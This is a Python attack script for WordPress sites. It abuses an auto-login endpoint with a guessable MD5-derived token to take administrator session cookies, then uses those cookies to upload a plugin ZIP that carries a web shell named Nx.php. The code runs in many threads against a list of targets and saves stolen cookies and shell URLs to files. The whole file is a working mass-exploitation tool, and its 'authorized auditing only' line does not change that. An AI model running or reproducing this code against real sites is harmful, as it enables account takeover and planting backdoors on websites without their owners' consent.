#!/usr/bin/env python3
#Nxploited

import os
import sys
import time
import threading
import requests
import urllib3
from urllib.parse import urlparse, urljoin
from datetime import datetime
import hashlib

try:
    from colorama import init as colorama_init, Fore, Style
    colorama_init(autoreset=True)
except Exception:
    class Dummy:
        RESET_ALL = ""
    Fore = Style = Dummy()
    Fore.GREEN = Fore.CYAN = Fore.YELLOW = Fore.RED = Fore.MAGENTA = Fore.LIGHTWHITE_EX = Fore.LIGHTYELLOW_EX = Fore.WHITE = ""
    Style = Dummy()

try:
    from bs4 import BeautifulSoup
except ImportError:
    print("[-] Please install beautifulsoup4: pip install beautifulsoup4")
    sys.exit(1)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_TIMEOUT = 15
COOKIES_SUCCESS_FILE = "success_cookies.txt"
SHELLS_SUCCESS_FILE = "success_shells.txt"
UPLOAD_LOG_FILE = "uploads_log.txt"
USER_AGENT = "Nxploited/5.0-REAL"

write_lock = threading.Lock()

def Nxploited_backup_output_file(path):
    if os.path.exists(path):
        ts = datetime.now().strftime("%Y%m%d_%H%M%S")
        bak_name = f"{path}.{ts}.bak"
        os.replace(path, bak_name)
        print(Fore.MAGENTA + f"Existing {path} backed up to {bak_name}" + Style.RESET_ALL)

def Nxploited_write_line(path, val):
    with write_lock:
        with open(path, "a", encoding="utf-8") as f:
            f.write(val + "\n")

def Nxploited_normalize_target_host(host):
    host = host.strip()
    if host.lower().startswith(("http://", "https://")):
        p = urlparse(host)
        base = f"{p.scheme}://{p.netloc}"
        return base
    return f"http://{host}"

def Nxploited_exploit_login(session, target_base, user_id, token):
    try:
        target_url = f"{target_base}/?auto-login=1&user_id={user_id}&token={token}"
        headers = {'User-Agent': USER_AGENT}
        response = session.get(target_url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT, allow_redirects=False)
        set_cookie_headers = []
        for k, v in response.headers.items():
            if k.lower() == 'set-cookie':
                set_cookie_headers.append(v)
        cookies_found = []
        for k in set_cookie_headers:
            if 'wordpress_logged_in' in k or 'wordpress_' in k:
                cookies_found.append(k)
        if cookies_found:
            return True, cookies_found
        return False, None
    except Exception:
        return False, None

def Nxploited_parse_set_cookie_headers_to_dict(set_cookie_headers):
    cookies = {}
    for header in set_cookie_headers:
        parts = header.split(';')
        if not parts:
            continue
        name_value = parts[0].strip()
        if '=' in name_value:
            name, value = name_value.split('=', 1)
            cookies[name.strip()] = value.strip()
    return cookies

def Nxploited_direct_admin_upload(target_base, session_cookies, zip_path, plugin_name):
    session = requests.Session()
    session.headers.update({'User-Agent': USER_AGENT})
    for k, v in session_cookies.items():
        session.cookies.set(k, v)
    url_upload_form = urljoin(target_base, "/wp-admin/plugin-install.php?tab=upload")
    resp = session.get(url_upload_form, verify=False, timeout=DEFAULT_TIMEOUT)
    if resp.status_code != 200:
        return False, None, None
    soup = BeautifulSoup(resp.text, "html.parser")
    nonce_input = soup.find("input", {"name": "_wpnonce"})
    if not nonce_input:
        return False, None, None
    nonce = nonce_input.get("value")
    url_upload_action = urljoin(target_base, "/wp-admin/update.php?action=upload-plugin")
    with open(zip_path, 'rb') as f:
        files = {'pluginzip': (f"{plugin_name}.zip", f, 'application/zip')}
        data = {
            '_wpnonce': nonce,
            '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload',
            'install-plugin-submit': 'Install Now'
        }
        resp2 = session.post(url_upload_action, files=files, data=data, verify=False, timeout=DEFAULT_TIMEOUT, allow_redirects=True)
    ok_signs = [
        "Plugin installed successfully", "has been installed successfully", "تم تثبيت الإضافة بنجاح"
    ]
    success = any(msg in resp2.text for msg in ok_signs)
    shell_url = urljoin(target_base, f"/wp-content/plugins/{plugin_name}/Nx.php")
    if success:
        return True, shell_url, resp2.text
    else:
        return False, shell_url, resp2.text

def Nxploited_worker_thread(thread_id, targets, user_id, token, zip_path, plugin_name):
    session = requests.Session()
    session.headers.update({'User-Agent': USER_AGENT})
    for t in targets:
        try:
            success, cookies = Nxploited_exploit_login(session, t, user_id, token)
            if success and cookies:
                cookie_line = f"{t}|ID={user_id}|TOKEN={token}|{','.join(cookies)}"
                Nxploited_write_line(COOKIES_SUCCESS_FILE, cookie_line)
                print(Fore.GREEN + f"[SUCCESS] {t}: Cookie extracted" + Style.RESET_ALL)
                session_cookies = Nxploited_parse_set_cookie_headers_to_dict(cookies)
                ok, shell_url, resp_text = Nxploited_direct_admin_upload(t, session_cookies, zip_path, plugin_name)
                if ok:
                    Nxploited_write_line(SHELLS_SUCCESS_FILE, shell_url)
                    print(Fore.GREEN + f"[SHELL] {shell_url}" + Style.RESET_ALL)
                else:
                    print(Fore.RED + f"[FAILED UPLOAD] {t}" + Style.RESET_ALL)
                Nxploited_write_line(UPLOAD_LOG_FILE, f"{t}|{plugin_name}.zip|{'SUCCESS' if ok else 'FAILED'}|{shell_url if shell_url else ''}")
            else:
                print(Fore.RED + f"[FAILED_LOGIN] {t}" + Style.RESET_ALL)
            time.sleep(0.18)
        except Exception as e:
            print(Fore.RED + f"[Error] {t}: {e}" + Style.RESET_ALL)
            time.sleep(0.5)

def Nxploited_chunk_targets(targets, n):
    if n <= 1:
        return [targets]
    chunks = [[] for _ in range(n)]
    for idx, val in enumerate(targets):
        chunks[idx % n].append(val)
    return chunks

def Nxploited_show_banner():
    banner = r"""
 _______  __   __  _______         _______  _______  _______  _______         ____   _______  _______  _______  _______ 
|       ||  | |  ||       |       |       ||  _    ||       ||       |       |    | |       ||       ||  _    ||  _    |
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   ||   ____| ____   |   | |___    ||___    || | |   || | |   |
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||  |____ |____|  |   |  ___|   | ___|   || |_|   || | |   |
|      _||       ||    ___|       | ______|| |_|   || ______||_____  |        |   | |___    ||___    ||___    || |_|   |
|     |_  |     | |   |___        | |_____ |       || |_____  _____| |        |   |  ___|   | ___|   |    |   ||       |
|_______|  |___|  |_______|       |_______||_______||_______||_______|        |___| |_______||_______|    |___||_______|
"""
    print(Fore.GREEN + Style.BRIGHT + banner + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "\nBy: Nxploited (Khaled ALenazi)" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Telegram: @Nxploited" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "GitHub: https://github.com/Nxploited" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "\nProfessional WordPress cookie exploit & plugin uploader." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Features: Extracts login cookies, uploads plugin (default: Nxploited.zip), expects shell as Nx.php." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Results: Successful shells in success_shells.txt, successful cookies in success_cookies.txt." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Highly automated. Multi-threaded. For authorized auditing only." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "#Nxploited\n" + Style.RESET_ALL)

def Nxploited_show_ui_and_get_inputs():
    Nxploited_show_banner()
    targets_file = input("Targets file [default: list.txt]: ").strip() or "list.txt"
    thread_input = input("Threads [default: 8]: ").strip()
    threads = 8 if not thread_input.isdigit() or int(thread_input) < 1 else int(thread_input)
    user_id_input = input("Target user ID [default: 1]: ").strip()
    user_id = int(user_id_input) if user_id_input.isdigit() and int(user_id_input) > 0 else 1
    default_token = hashlib.md5(str(user_id).encode()).hexdigest()[:10]
    token_input = input(f"Token [default: {default_token}]: ").strip()
    token = token_input if token_input else default_token
    zip_path = input("Plugin ZIP file path [default: Nxploited.zip]: ").strip() or "Nxploited.zip"
    if not os.path.exists(zip_path):
        print(Fore.RED + f"ZIP '{zip_path}' not found. Exiting." + Style.RESET_ALL)
        sys.exit(1)
    plugin_name = os.path.splitext(os.path.basename(zip_path))[0]
    plugin_name_input = input(f"Plugin folder name? [default: {plugin_name}]: ").strip()
    if plugin_name_input:
        plugin_name = plugin_name_input
    print(Fore.MAGENTA + Style.BRIGHT + "Reminder: Ensure your shell file INSIDE the plugin ZIP is named Nx.php." + Style.RESET_ALL)
    return targets_file, threads, user_id, token, zip_path, plugin_name

def Nxploited_main():
    try:
        targets_file, threads, user_id, token, zip_path, plugin_name = Nxploited_show_ui_and_get_inputs()
        Nxploited_backup_output_file(COOKIES_SUCCESS_FILE)
        Nxploited_backup_output_file(SHELLS_SUCCESS_FILE)
        Nxploited_backup_output_file(UPLOAD_LOG_FILE)
        with open(targets_file, "r", encoding="utf-8") as f:
            raw_targets = [line.strip() for line in f if line.strip()]
        targets = [Nxploited_normalize_target_host(x) for x in raw_targets]
        print(Fore.WHITE + f"\nLoaded {len(targets)} targets, {threads} threads.\n" + Style.RESET_ALL)
        chunks = Nxploited_chunk_targets(targets, threads)
        thread_list = []
        for i in range(len(chunks)):
            if not chunks[i]:
                continue
            th = threading.Thread(target=Nxploited_worker_thread, args=(i, chunks[i], user_id, token, zip_path, plugin_name))
            th.daemon = True
            th.start()
            thread_list.append(th)
        for t in thread_list:
            t.join()
        print(Fore.GREEN + Style.BRIGHT + f"\nDone. Shell URLs in {SHELLS_SUCCESS_FILE}, cookies in {COOKIES_SUCCESS_FILE}.\n" + Style.RESET_ALL)
    except KeyboardInterrupt:
        print('\n' + Fore.RED + "Interrupted by user. Exiting..." + Style.RESET_ALL)
    except Exception as e:
        print(Fore.RED + f"An unexpected error occurred: {e}" + Style.RESET_ALL)

if __name__ == "__main__":
    Nxploited_main()